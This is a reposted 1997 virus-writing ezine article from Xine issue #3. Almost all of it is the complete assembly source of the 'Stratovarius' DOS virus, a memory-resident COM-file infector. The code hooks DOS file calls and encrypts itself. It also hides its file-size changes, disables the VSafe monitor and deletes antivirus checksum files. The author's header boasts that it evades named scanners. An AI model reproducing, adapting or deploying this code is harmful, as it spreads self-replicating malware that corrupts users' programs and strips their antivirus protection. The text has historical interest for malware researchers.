Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 209

eZine's profile picture
Published in 
Xine
 · 7 months ago

 
/-----------------------------\
| Xine - issue #3 - Phile 209 |
\-----------------------------/



Comment #

. * * * * * * * * * * * * * * * * * .
* NAME : Stratovarius Virus *
* AUTHOR: Int13h *
* ORIGEN: Paraguay, South America *
. * * * * * * * * * * * * * * * * * .


Technical Overview
------------------

- Appending TSR COM mega-fast infector. Infects on:

.Find first / find next FCB (011h/012h)
.Find first / find next DTA (04eh/04fh)
.Normal Open (03dh)
.Extended Open (06c00h)
.Rename (056h)
.Delete (041h)
.Get/Change Atributes (043h)
.Execution (04bh)

- Directory Stealth
- Encrypted (uses ADD, SUB and XOR randomily)
- No viral activity under Novell Netware or DOS >= 7
- Tunneling by PSP tracing
- Antiheuristic comparison of INT 21h's functions
- Opens the file in read-only mode then changes axs mode in SFT
- Installs Dummy Error Handler
- Kills Vsafe by turning off its flags while infecting
- Kills some sucker's checksum files
- Doesn't infects COMs inmunized by CPAV
- Turns off the trap flag to avoid 21h's tunneling
- Stealth on 3521h and 2521h of INT 21h. Virus is alway first
- It isn't flagged by TBAV 8.01, FindVirus 7.72, F-prot 3.0, AVP 3.0
- "Approached stack crash" when TBcleaning
- EXE version available soon, look for it in the betters shoppings ;)

= = = = = = = = = = = [ DeDiCaTeD tO StRaToVaRiUs ] = = = = = = = = = = = =


"A computer virus should be considered a form of life,
but I think it says something about human nature,
that the only form of life we have created so far
is purely destructive.
We've created life in our own image."

Dr. Stephen Hawking, 1994


Greetz to all life creators and heavy metal lovers under the sun.
Special greetz goes to: all 29A crew, Methyl, r- and Executioner.

My respects to F3161, Dark Avenger, Vyvojar and Neurobasher.

= = = = = = = = = = = = =[ MaDe In PaRaGuAy ]= = = = = = = = = = = = = = =

#

.model tiny
.code
jumps
org 100h


Skip equ (offset Encripted-offset Stratovarius)
Cripted equ (offset Omega-offset Encripted)/2
Largor equ (offset Omega-offset Stratovarius)
EnMemoria equ (offset FinEnMemoria-offset Stratovarius)
Parrafos1 equ ((EnMemoria+15)/16)+1
Parrafos2 equ ((EnMemoria+15)/16)


Stratovarius:
mov bp,sp
int 03h
mov bp,word ptr ss:[bp-06]
sub bp,103h

not sp
not sp

lea si,[bp+offset Encripted]
push si
mov di,si
mov cx,Cripted

Kilomber:
lodsw
db 035h
Clave dw 0
stosw
loop Kilomber
ret


Encripted:
mov ah,30h
int 21h

cmp al,7
jae Cancel

mov ax,0db00h
int 21h
or al,al
jz No_Novell
Cancel: jmp Ya_Resides

No_Novell:
mov ah,058h
int 21h
cmp ax,0cd13h
je Ya_Resides

mov ax,3521h
int 21h
mov cs:[bp+word ptr Vieja21h],bx
mov cs:[bp+word ptr Vieja21h+2],es
mov cs:[bp+word ptr Real21h],bx
mov cs:[bp+word ptr Real21h+2],es
push ds

lds bx,ds:[0006h]
Tracear:cmp byte ptr ds:[bx],0eah
jne Chekear
lds bx,ds:[bx+1]
cmp word ptr ds:[bx],9090h
jnz Tracear
sub bx,32h
cmp word ptr ds:[bx],9090h
jne Chekear
Hallado:mov cs:[bp+word ptr Real21h],bx
mov cs:[bp+word ptr Real21h+2],ds
jmp short MCBTSR
Chekear:cmp word ptr ds:[bx],2e1eh
jnz MCBTSR
add bx,25h
cmp word ptr ds:[bx],80fah
je Hallado

MCBTSR: pop ds
mov ax,ds
dec ax
mov es,ax
mov ax,es:[3]
sub ax,Parrafos1
xchg bx,ax

push ds
pop es
mov ah,4ah
int 21h

mov ah,48h
mov bx,Parrafos2
int 21h

dec ax
mov es,ax
mov word ptr es:[1],8
mov word ptr es:[8],0cd13h
inc ax
mov es,ax
sub di,di

push cs
pop ds
lea si,[bp+offset Stratovarius]
mov cx,Largor
rep movsb

int 03h

push es
pop ds
mov ax,2521h
mov dx,(offset FalsaINT21h-100h)
int 21h


Ya_Resides:
push cs
push cs
pop ds
pop es

xor ax,ax
lea si,[bp+offset Primitivos]
mov di,100h
push di
cld
movsw
movsw

xchg bx,ax
mov ax,bx
sub cx,cx
xor dx,dx
sub si,si
xor di,di
sub bp,bp
ret


Chequear2:
xor ah,0bah
pushf
push cs
call Interrupcion_21h
jc Paso

pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

mov ah,2fh
int 21h

mov di,bx
add di,1eh
mov si,di
cld
mov cx,9
mov al,'.'
repne scasb
jne Aborto

cmp word ptr es:[di],'OC'
jne Aborto

cmp byte ptr es:[di+2],'M'
jne Aborto

cmp word ptr es:[bx+1ah],029ah
jb Aborto

mov dx,si
push es
pop ds

mov ax,3d00h
pushf
push cs
call Interrupcion_21h
jc Aborto
xchg bx,ax

call SetInt24hAndKillSuckers

call Analisis
jc Cierre
call Infectar

Cierre: mov ah,3eh
int 21h
call RestoreInt24hAndVsafe

Aborto: pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
Paso: retf 2



FalsaINT21h:
push ax
pushf
pop ax
and ah,11111110b
push ax
popf
pop ax
xor ah,0bah
cmp ah,(58h xor 0bah)
je Detect
cmp ah,(11h xor 0bah)
je Chequear1
cmp ah,(12h xor 0bah)
je Chequear1
cmp ah,(4eh xor 0bah)
je Chequear2
cmp ah,(4fh xor 0bah)
je Chequear2
cmp ah,(4bh xor 0bah)
je Chequear3
cmp ah,(56h xor 0bah)
je Chequear3
cmp ah,(41h xor 0bah)
je Chequear3
cmp ah,(43h xor 0bah)
je Chequear3
cmp ah,(3dh xor 0bah)
je Chequear3
cmp ax,08f21h
je Ocultar21h_A
cmp ax,09f21h
je Ocultar21h_B
xor ah,0bah
Abuela_21h:
db 0eah
Vieja21h dw 0,0
ret
Detect: mov ax,0cd13h
iret



Ocultar21h_A:
xor ah,0bah
mov bx,cs:[word ptr (Vieja21h-100h)]
mov es,cs:[word ptr (Vieja21h-100h)+2]
iret

Ocultar21h_B:
xor ah,0bah
mov cs:[word ptr (Vieja21h-100h)],dx
mov cs:[word ptr (Vieja21h-100h)+2],ds
iret



Chequear1:
xor ah,0bah
pushf
push cs
call Interrupcion_21h
test al,al
jne ErrorDir

push ax
push bx
push cx
push dx
push si
push di
push ds
push es

mov ah,62h
int 21h

mov es,bx
cmp bx,es:[16h]
jne GoingOut

mov bx,dx
mov al,[bx]
push ax
push es

call SetInt24hAndKillSuckers

pop es
mov ah,2fh
int 21h
pop ax
inc al
jnz FCBNormal
add bx,7

FCBNormal:
mov cs:[Maestro-100h],bx
mov ax,word ptr es:[bx+09h]
or ax,02020h
cmp ax,'oc'
jne Fuera

mov al,byte ptr es:[bx+0bh]
or al,020h
cmp al,'m'
jne Fuera

push es
pop ds
push cs
pop es
mov di,(offset Victima-100h)
push di
mov cx,13
xor al,al
repe stosb
pop di
inc bx
mov si,bx
mov cx,8
Buscar:lodsb
cmp al,' '
je Opa
stosb
loop Buscar

Opa: mov al,'.'
stosb
mov cx,3

mov si,bx
add si,08h
Exten: lodsb
cmp al,' '
je Opa2
stosb
loop Exten
Opa2: push ds
pop es
push cs
pop ds

mov dx,(offset Victima-100h)
mov ax,3d00h
pushf
push cs
call Interrupcion_21h
jc Fuera
xchg bx,ax

call Analisis
jc Closeo
call Infectar

Closeo: mov ah,3eh
int 21h

cmp di,32
jne Fuera

mov bx,cs:[Maestro-100h]
cmp word ptr es:[bx+1dh],(Largor+666)
jb Fuera

sub word ptr es:[bx+1dh],Largor

Fuera: call RestoreInt24hAndVsafe

GoingOut:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ErrorDir:
retf 2



Chequear3:
xor ah,0bah
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

cmp ax,6c00h
jne Apertura_Normal

cmp dx,0001
jne Popear

mov dx,si

Apertura_Normal:
push ds
pop es
cld
mov di,dx
mov cx,128
mov al,'.'
repne scasb
jne Popear

xchg si,di
lodsw
or ax,2020h
cmp ax,'oc'
jne Popear
lodsb
or al,20h
cmp al,'m'
jne Popear

mov ax,3d00h
pushf
push cs
call Interrupcion_21h
jc Popear
xchg bx,ax

call SetInt24hAndKillSuckers

call Analisis
jc Cierro
call Infectar

Cierro: mov ah,3eh
int 21h
call RestoreInt24hAndVsafe

Popear: pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp Abuela_21h




SetInt24hAndKillSuckers:
push bx
mov ax,3524h
int 21h
mov word ptr cs:[(Vieja24h-100h)],bx
mov word ptr cs:[(Vieja24h-100h)+2],es

push cs
pop ds
mov ax,2524h
mov dx,(offset Handler24h-100h)
int 21h

mov ax,4301h
mov dx,(offset Basura1-100h)
sub cx,cx
pushf
push cs
call Interrupcion_21h

mov ah,41h
mov dx,(offset Basura1-100h)
pushf
push cs
call Interrupcion_21h

mov ah,41h
mov dx,(offset Basura2-100h)
pushf
push cs
call Interrupcion_21h

mov ah,41h
mov dx,(offset Basura3-100h)
pushf
push cs
call Interrupcion_21h

mov ah,41h
mov dx,(offset Basura4-100h)
pushf
push cs
call Interrupcion_21h

mov ax,0fa02h
mov dx,5945h
xor bl,bl
int 16h
mov byte ptr cs:[Vsuck-100h],cl
pop bx
ret



RestoreInt24hAndVsafe:
lds dx,dword ptr cs:[(Vieja24h-100h)]

mov ax,2524h
int 21h

mov ax,0fa02h
mov dx,5945h
mov bl,byte ptr cs:[Vsuck-100h]
and bl,11111011b
int 16h
ret



Handler24h:
xor al,al
iret



Analisis:
xor di,di

mov ah,03fh
mov dx,(offset Primitivos-100h)
mov cx,4
int 21h

mov si,dx
cmp byte ptr [si+3],'S'
jne Go

mov di,32
jmp short Malo

Go: cmp byte ptr [si+3],00
je Malo

mov ax,[si]
add ah,al
cmp ah,167d
je Malo

mov ax,04202h
sub cx,cx
cwd
int 21h

cmp ax,63000d
ja Malo

cmp ax,666d
jb Malo

clc
ret

Malo: stc
ret




Infectar:
sub ax,3
mov word ptr [Brinco-100h+1],ax

Otro: in ax,40h
and ax,ax
je Otro

mov dl,al
mov [Clave-100h],ax

mov si,(offset Kilomber-100h)
cmp dl,65
jb Subbing

cmp dl,140
jb Adding

mov [si],035adh
jmp short Copiar_al_buffer

Subbing:mov [si],02dadh
jmp short Copiar_al_buffer

Adding: mov [si],005adh


Copiar_al_buffer:
push es
push cs
pop es
mov cx,(Largor/2)
xor si,si
mov di,(offset StratoVir-100h)
rep movsw

mov si,(offset Kilomber-100h)
cmp dl,65
jb AntiSubbing

cmp dl,140
jb AntiAdding

mov [si],035adh
jmp short Cifrar_Virus

AntiSubbing:
mov [si],005adh
jmp short Cifrar_Virus

AntiAdding:
mov [si],02dadh

Cifrar_Virus:
mov cx,Cripted
mov si,(offset StratoVir+Skip)-100h
mov di,si
call Kilomber
pop es

mov ax,5700h
int 21h
push cx
push dx

push bx
mov ax,1220h
int 2fh

mov ax,1216h
xor bh,bh
mov bl,es:[di]
int 2fh

mov byte ptr es:[di+2],02
pop bx

mov ah,40h
mov cx,Largor
mov dx,(offset StratoVir-100h)
int 21h

mov word ptr es:[di+015h],00

mov ah,40h
mov cx,4
mov dx,(offset Brinco-100h)
int 21h

mov ax,5701h
pop dx
pop cx
int 21h

ret



Interrupcion_21h:
db 0eah
Real21h dw 0,0
ret


MotherSucker db ' Weasseline Bontchev sux! ' ; "weasel" (tm) dark avenger
Brinco db 0e9h,00h,00h,'S'
db ' [STRATOVARIUS Virus] (c) Copyright Int13h 02/08/97 ',13,10
db ' Dedicated to the great finland group of purified heavy metal ',13,10
; Timmo Tolkki has a great voice too
db ' Guitars (speed-of-the-light): Timmo Tolkki',13,10
db ' Vocals: Timmo Kotipelto',13,10
db ' Bass: Jari Kainulainez',13,10
db ' Drums: J”rg Michael',13,10
db ' Keyboards: Jens Johansson',13,10
Albums db ' Fright Night - Twilight Time - Dream Space - Fourth Dimension - Episode - Visions '

; Listen...
; Hold on to your dream. Fourth Reich. Chasing Shadows. We are the future
; Shaterred.Break the Ice.Father Time.Will the sun rise. Agains the wind.
; Speed of the light. Eternity.Stratosphere. Black Diamond. Kiss of Judas
; Coming Home... and a lot more of amazing songs by Stratovarius!!!!!!!!!

Primitivos db 090h,090h,0cdh,020h
db " MaDeInPaRaGuAySoUtHaMeRiCa "
Basura1 db 'anti-vir.dat',0
Basura2 db 'chklist.ms',0
Basura3 db 'chklist.cps',0
Basura4 db 'avp.crc',0

Omega:
heLLowEEn dw 0
Vsuck db 0
Maestro dw 0
Victima db 13 dup(0)
Vieja24h dd 0
StratoVir db Largor dup('S')
FinEnMemoria:
End Stratovarius

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT